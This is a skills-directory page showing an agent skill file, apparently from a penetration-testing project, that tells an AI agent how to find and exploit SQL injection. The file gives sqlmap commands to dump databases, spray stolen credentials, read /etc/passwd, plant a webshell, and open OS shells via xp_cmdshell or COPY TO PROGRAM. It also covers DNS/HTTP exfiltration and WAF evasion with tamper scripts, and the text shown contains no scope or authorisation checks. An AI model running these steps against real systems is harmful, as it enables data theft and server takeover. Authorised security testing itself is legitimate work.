agentleFS
s0ld13rrs0ld13rr/pentestcode/skills/web/sqli/SKILL.md

web-sqli

Skill884 starsChanged 4 months agoMITView on GitHub

SQL injection detection→exploitation→proof for web apps and APIs. Use when a parameter reaches a DB query, when input triggers a SQL error / boolean or time differential, or during VULN-ASSESSMENT/EXPLOITATION on a web target. Triggers - sql syntax error, ORA-/MySQL/psql/SQLite error string, ' or 1=1, order by, sleep-based delay, login bypass, id/search/filter param.

We split this skill into the rules it gives an agent

2 rules. About 0 are common, 0 are distinctive, and 2 are very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈0

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 2

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Very specific:

    No error but true≠false → boolean-blind.

    line 23
  2. Very specific:

    No in-band channel → OOB (DNS/HTTP exfil) via --dns-domain / MySQL LOAD_FILE(CONCAT('\\\\',...)), MSSQL xp_dirtree.

    line 24

≈ “Common” is an estimate: at least 1 in 5 of the 308,232 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

SQL Injection

When this fires

A param reaches a query; you see a SQL error, a boolean-differential (true≠false response), or a time delay on a payload. Also any login/search/id/sort param on a DB-backed app.

Detect (tool-first, low-noise)

Drive detection with sqlmap, not by eye — it covers boolean/error/union/time/stack + gives an evidence chain:

sqlmap -u 'http://<t>/item?id=1' --batch --level 3 --risk 2 --random-agent | tee /tmp/sqlmap.txt
# non-standard transport (JSON body / RSC / GraphQL / custom headers): save the full request, then:
sqlmap -r /tmp/request.txt -p <param> --batch

Then sqlmap_parse on the output. A single manual probe (', ' OR '1'='1' -- -, 1 AND SLEEP(5)) is a confirm poke ONLY — never the detection method or a payload sweep by hand.

Decide

  • Error shown → error-based / UNION (fastest data). Get column count: ORDER BY N until it breaks; find the reflected column; fingerprint DB (@@version, version(), sqlite_version()).
  • No error but true≠false → boolean-blind. No differential but timing → time-blind (SLEEP/WAITFOR DELAY/pg_sleep/dbms_pipe.receive_message).
  • No in-band channel → OOB (DNS/HTTP exfil) via --dns-domain / MySQL LOAD_FILE(CONCAT('\\\\',...)), MSSQL xp_dirtree.

Exploit → PROVE IMPACT

sqlmap -r /tmp/request.txt -p <param> --batch --dbs           # list databases
sqlmap ... -D <db> --tables ; sqlmap ... -D <db> -T <tbl> --dump   # extract
# creds/secrets → add_credential + cred_spray; escalate where possible:
#  MySQL FILE priv → --file-read=/etc/passwd, INTO OUTFILE webshell in webroot
#  MSSQL sa → --os-shell (xp_cmdshell) ; PostgreSQL superuser → COPY ... TO PROGRAM / --os-shell

Proof required: a dumped row a benign query couldn't return (a canary/secret value), a read file (/etc/passwd), or id via os-shell. "sqlmap says injectable" is a lead, not proof.

Tooling

sqlmap (--batch --random-agent, -r for weird transports, --technique BEUSTQ, --tamper for WAF) → sqlmap_parse. nuclei for known-CVE SQLi in a specific product → nuclei_parse.

False positives / pitfalls

  • 200-on-everything / WAF echo → confirm a TRUE vs FALSE differential, not just a reflected string.
  • Time-blind on a slow app → use several sleep durations, compare.
  • Auth/CSRF-gated param → pass the session (--cookie/--headers), satisfy CSRF, or use -r.

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

Reviews can't be read right now.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.